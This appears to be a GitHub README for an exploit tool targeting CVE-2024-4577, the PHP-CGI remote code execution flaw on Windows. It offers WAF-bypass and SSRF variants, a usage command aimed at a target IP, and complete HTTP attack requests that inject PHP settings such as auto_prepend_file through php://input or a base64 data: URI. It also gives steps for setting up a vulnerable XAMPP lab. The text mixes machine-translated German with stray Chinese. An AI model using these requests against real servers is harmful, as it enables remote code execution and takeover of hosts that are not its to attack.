a-roshbaik/cve-2024-4577-php-rceExploit für CVE-2024-4577 PHP-CGI-RCE unter Windows, mit WAF-Bypass und SSRF-Unterstützung. Bietet mehrere Exploit-Varianten für Standard-, WAF- und SSRF-Szenarien.
cgi.force_redirect + REDIRECT-STATUS.allow_url_include, auto_prepend_file, auto_append_file. Kann beliebige Dateien und PHP-Dateien einbinden.allow_url_include, auto_prepend_file, auto_append_file.| Information | Inhalt |
|---|---|
| Schwachstellenname | PHP RCE |
| Schwachstellennummer | CVE-2024-4577 |
| Risikostufe | Hoch |
| Schwachstellentyp | RCE |
| Schwierigkeitsgrad | Niedrig |
Kann für WAF-Bypass-Szenarien + Standardszenarien verwendet werden:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
Beispiel:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
Kann für SSRF-Szenarien + Standardszenarien verwendet werden:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
Kann für Standardszenarien verwendet werden:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
Kann für Standardszenarien verwendet werden:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows版 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
oder wählen Sie hier eine betroffene Version aus: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
无需任何修改，保持默认配置
Test mit dem obigen EXP durchführen
Überprüfen, ob die Zeichenkette "TesT" oder der Inhalt der Datei system.ini auf dem Server zurückgegeben wird.